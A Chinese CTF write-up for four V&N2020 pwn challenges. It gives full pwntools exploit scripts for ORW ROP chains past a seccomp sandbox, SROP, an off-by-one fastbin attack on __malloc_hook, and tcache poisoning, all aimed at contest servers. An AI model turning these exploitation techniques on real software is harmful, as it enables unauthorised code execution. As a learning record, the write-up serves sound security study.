V&N2020公开赛WP Surager

综述

QQ图片20200319232545

这次的pwn题由南梦师傅出题。据说都是些基本题目,但是由于本人知识浅薄,导致过去了3个多星期才能够复现出来。自己的学习进度很慢,而且很急于求成。有时候比较迷茫,像只离群之燕一样。

warmup

保护机制:

$ file vn_pwn_warmup
vn_pwn_warmup: ELF 64-bit LSB shared object, sx86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=255a432e6dafd060631123864b56da27320e4c04, stripped
$ checksec vn_pwn_warmup
[*] '/mnt/e/wsl/vn_pwn_warmup'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

看见那个绿色的、绿得扎眼的PIE enabled,我心凉了半截。对于栈溢出的题目,我从来就没有做过开了PIE的题目,所以到这里已经慌成了傻子,气冲头顶,面色血红,上厕所到一半都快便秘了,直接放弃。

赛后学习一波:

puts("This is a easy challange for you.");
printf("Here is my gift: 0x%llx\n", &puts);

这里给了puts_got,相当于直接把libc基址给了,libc基本可用了。

紧接着给了一个神奇的函数,貌似是开了沙盒,不能用execve和system。

return prctl(
           22,
           2LL,
           &v1,
           *(_QWORD *)&v1,
           &v3,
           *(_QWORD *)&v3,
           *(_QWORD *)&v7,
           32LL,
           *(_QWORD *)&v14,
           *(_QWORD *)&v18,
           *(_QWORD *)&v22,
           *(_QWORD *)&v26,
           *(unsigned int *)&v30,
           *(_QWORD *)&v34,
           *(_QWORD *)&v38,
           *(_QWORD *)&v42,
           6LL);
}

紧接着是两个read:

int sub_9D3()
{
  char buf; // [rsp+0h] [rbp-180h]

  printf("Input something: ");
  read(0, &buf, 0x180uLL);
  sub_9A1();
  return puts("Done!");
}
ssize_t sub_9A1()
{
  char buf; // [rsp+0h] [rbp-70h]

  printf("What's your name?");
  return read(0, &buf, 0x80uLL);
}

两个函数的栈相邻,在sub_9D3里面构造rop链,到sub_9A1把返回地址覆盖为ret,继而能执行sub_9D3栈中的rop链。

open(flag),向libc的bss段里面写入flag再write出来。看大佬们的博客,明白这叫orw(open read write)攻击。

#!/usr/bin/env python
from pwn import *
from time import sleep

def pwn():
    io = remote('node3.buuoj.cn',29218)
    context.log_level = 'debug'
    libc = ELF('x64-libc-2.23.so')

    io.recvuntil('gift: ')
    puts_got = int(io.recv()[2:14],16)
    print '[*] puts_address = ' + hex(puts_got)
    offset = puts_got - libc.sym['puts']
    print '[*] offset = ' + hex(offset)

    rdi = offset + 0x21102
    rsi = 0x202e8 + offset
    rdx = 0x1b92 + offset
    ret = offset + 0x937
    read_add = libc.sym['read'] + offset
    open_add = libc.sym['open'] + offset
    write_add = libc.sym['write'] + offset
    bss = offset + 0x3c6500

    payload = p64(rdi) + p64(0) + p64(rsi) + p64(bss) + p64(rdx) + p64(0x100) + p64(read_add) #read(0,buf,100)
    payload += p64(rdi) + p64(bss) + p64(rsi) + p64(0) + p64(open_add) #open('/flag',0)
    payload += p64(rdi) + p64(3) + p64(rsi) + p64(bss) + p64(rdx) + p64(0x100) + p64(read_add) #read(3,buf,100)
    payload += p64(rdi) + p64(1) + p64(rsi) + p64(bss) + p64(rdx) + p64(0x100) + p64(write_add) #write(1,buf,100)
    io.sendline(payload)
    io.recvuntil('name?')
    payload = 'a'*0x70 + p64(0xdeadbeef) +p64(ret)
    io.send(payload)
    io.sendline('/flag\x00')
    io.interactive()

if __name__ == "__main__":
    pwn()

《常规题》,名不虚传。

babybabypwn

这题跟上一道题大同小异。

read(0, &buf, 0x100uLL);
syscall(15LL, &buf);

给了一个sigreturn,构造一次SROP(read)然后用上一题的payload。

#!/usr/bin/env python
from pwn import *

def pwn():
    io = remote('node3.buuoj.cn',25818)
    context(log_level='debug',arch='amd64',os='linux')
    elf = ELF('./vn_pwn_babybabypwn_1')
    libc = ELF('x64-libc-2.23.so')

    io.recvuntil('gift: 0x')
    leak = int(io.recv(12),16)
    print '[*] leak address :' + hex(leak)
    offset = leak - libc.sym['puts']
    print '[*] offset :'+hex(offset)

    rdi = offset + 0x21102
    rsi = 0x202e8 + offset
    rdx = 0x1b92 + offset
    ret = offset + 0x937
    bss = offset + libc.bss()
    open_add = libc.sym['open'] + offset
    read_add = libc.sym['read']+offset
    write_add = libc.sym['write']+offset
    syscall = offset + 0x00000000000bc375 

    frame = SigreturnFrame()
    frame.rax = 0
    frame.rdi = 0
    frame.rsi = bss
    frame.rdx = 0x200
    frame.rsp = bss
    frame.rip = syscall
    payload = str(frame)[0x8:]

    io.recvuntil('message: ')
    io.send(payload)
    
    # read(0,bss,0x60)
    payload = p64(rdi) + p64(0) + p64(rsi) + p64(bss) +p64(rdx) + p64(0x60) + p64(read_add)
    # open('/flag',0)
    payload += p64(rdi) + p64(bss) + p64(rsi) + p64(0) + p64(open_add)

    payload += p64(rdi) + p64(0x3) + p64(rsi) + p64(bss) + p64(rdx) + p64(0x60)+ p64(read_add)
    # read(3,bss,0x100)
    payload += p64(rdi) + p64(0x1) + p64(rsi) + p64(bss) + p64(rdx) + p64(0x60)+ p64(write_add)
    # write(1,bss,0x100)
    io.send(payload)
    io.sendline('flag\x00')
    io.interactive()

if __name__ == "__main__":
    pwn()

simpleHeap

[*] '/home/surgaer/work/vn_pwn_simpleHeap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

64位ubuntu16,保护全开。

signed int sub_AFF()
{
  signed int result; // eax
  int v1; // [rsp+8h] [rbp-8h]
  unsigned int v2; // [rsp+Ch] [rbp-4h]

  v1 = sub_AB2();
  if ( v1 == -1 )
    return puts("Full");
  printf("size?");
  result = sub_9EA();
  v2 = result;
  if ( result > 0 && result <= 111 )
  {
    qword_2020A0[v1] = malloc(result);
    if ( !qword_2020A0[v1] )
    {
      puts("Something Wrong!");
      exit(-1);
    }
    dword_202060[v1] = v2;
    printf("content:");
    read(0, qword_2020A0[v1], dword_202060[v1]);
    result = puts("Done!");
  }
  return result;
}

常规输入,输入有检测,无法控制输入字节。

sub_C39((__int64)qword_2020A0[v1], dword_202060[v1]);

__int64 __fastcall sub_C39(__int64 a1, int a2)
{
  __int64 result; // rax
  int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; ; ++i )
  {
    result = (unsigned int)i;
    if ( i > a2 )
      break;
    if ( !read(0, (void *)(i + a1), 1uLL) )
      exit(0);
    if ( *(_BYTE *)(i + a1) == '\n' )
    {
      result = i + a1;
      *(_BYTE *)result = 0;
      return result;
    }
  }
  return result;
}

edit中的诡异函数,i > a2造成off-by-one。

free(qword_2020A0[v1]);
qword_2020A0[v1] = 0LL;
dword_202060[v1] = 0;

free清零。

思路:

  1. off-by-one改size,free一个进unsortedbin得到libc基址。
  2. fastbin attack劫持__malloc_hook。
  3. realloc调整栈帧。
from pwn import *
#io = process('./vn_pwn_simpleHeap')
io = remote('node3.buuoj.cn',25162)
elf = ELF('./vn_pwn_simpleHeap')
libc = ELF('./x64-libc-2.23.so')
context.log_level = 'debug'

def add(size,con):
    io.sendlineafter('choice: ','1')
    io.sendlineafter('size?',str(size))
    io.sendafter('content:',con)

def free(idx):
    io.sendlineafter('choice: ','4')
    io.sendlineafter('idx?',str(idx))

def edit(idx,con):
    io.sendlineafter('choice: ','2')
    io.sendlineafter('idx?',str(idx))
    io.sendafter('content:',con)

def show(idx):
    io.sendlineafter('choice: ','3')
    io.sendlineafter('idx?',str(idx))
    
def logs(x):
    log.success(hex(x))

def debug():
    gdb.attach(io)
    pause()

add(0x28,'\n')#0
add(0x68,'\n')#1
add(0x68,'\n')#2
add(0x20,'\n')#3
payload = '\x00'*0x28 +'\xe1'
edit(0,payload)
free(1)
add(0x68,'\n')
show(2)
main_arena = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-88
libc_base = main_arena - libc.sym['__malloc_hook']-0x10
malloc_hook = libc_base + libc.sym['__malloc_hook']
logs(libc_base)
realloc = libc_base + libc.sym['__libc_realloc']+0xc
one = libc_base + 0x4526a
add(0x60,'\n')#4
free(3)
free(2)
payload = p64(malloc_hook-0x23)+'\n'
edit(4,payload)
add(0x60,'\n')
add(0x60,'\x00'*(0x13-8)+p64(one)+p64(realloc)+'\n')
io.sendlineafter('choice: ','1')
io.sendlineafter('size?','32')
io.interactive()    

easyTHeap

v1 = sub_AB2();
  if ( v1 == -1 )
    return puts("Full");
  printf("size?");
  result = sub_9EA();
  v2 = result;
  if ( result > 0 && result <= 256 )
  {
    qword_202080[v1] = malloc(result);
    if ( !qword_202080[v1] )
    {
      puts("Something Wrong!");
      exit(-1);
    }
    dword_202060[v1] = v2;
    result = puts("Done!");
  }
  return result;

free的时候虚幻一枪,size清零。

free((void *)qword_202080[v1]);
dword_202060[v1] = 0;

仍然可以show:

printf("idx?");
v1 = sub_9EA();
if ( v1 < 0 || v1 > 6 || !qword_202080[v1] )
exit(0);
puts((const char *)qword_202080[v1]);
return puts("Done!");

思路:

  1. 先malloc一个chunk,doublefree得到此chunk地址,计算到tcache structure的地址。
  2. 改tcache structure,使后续tcache直接进unsortedbin,得到libc基址。
  3. 继续改tcache structure,使chunk直接分配到malloc_hook,改malloc_hook用realloc调整栈帧。
from pwn import *
from time import sleep
#io = remote('node3.buuoj.cn',25741)
io = process('./vn_pwn_easyTHeap')
elf = ELF('./vn_pwn_easyTHeap')
libc = ELF('./x64-libc-2.27.so')

def debug():
    gdb.attach(io)
    pause()

def add(size):
    io.sendlineafter('choice: ','1')
    io.sendlineafter('size?',str(size))

def edit(idx,con):
    io.sendlineafter('choice: ','2')
    io.sendlineafter('idx?',str(idx))
    io.sendafter(':',con)

def show(idx):
    io.sendlineafter('choice: ','3')
    io.sendlineafter('idx?',str(idx))

def free(idx):
	io.sendlineafter('choice: ','4')
    io.sendlineafter('idx?',str(idx))

add(0x50)#1
free(0)
free(0)
show(0)
heap = u64(io.recvuntil('\n',drop=True).ljust(8,'\x00'))
add(0x50)#1
edit(1,p64(heap-0x250))
add(0x50)#2
add(0x50)#3
edit(3,'\xff'*0x38)
free(3)
show(3)
leak = u64(io.recvuntil('\n',drop=True).ljust(8,'\x00'))
libc_base = leak - 0x3ebca0
log.success('libc_base:'+hex(libc_base))
malloc_hook = libc_base+libc.sym['__malloc_hook']
log.success('malloc_hook:'+hex(malloc_hook))
realloc = libc_base+libc.sym['__libc_realloc']
one = libc_base + 0x4f322
add(0x50)#4
edit(4,'\x00'*0x48+p64(malloc_hook-0x13))
add(0x20)#5
edit(5,'\x00'*(0x13-8)+p64(one)+p64(realloc+8))
add(0x10)
sleep(0.2)
io.sendline('cat flag')
io.interactive()

总结

  1. 把常规基础题目做好,归纳总结方法。
  2. 当一个事情看起来很难的时候,每临绝境峰回路转,真正去做的时候才是真的难可以悟到真理。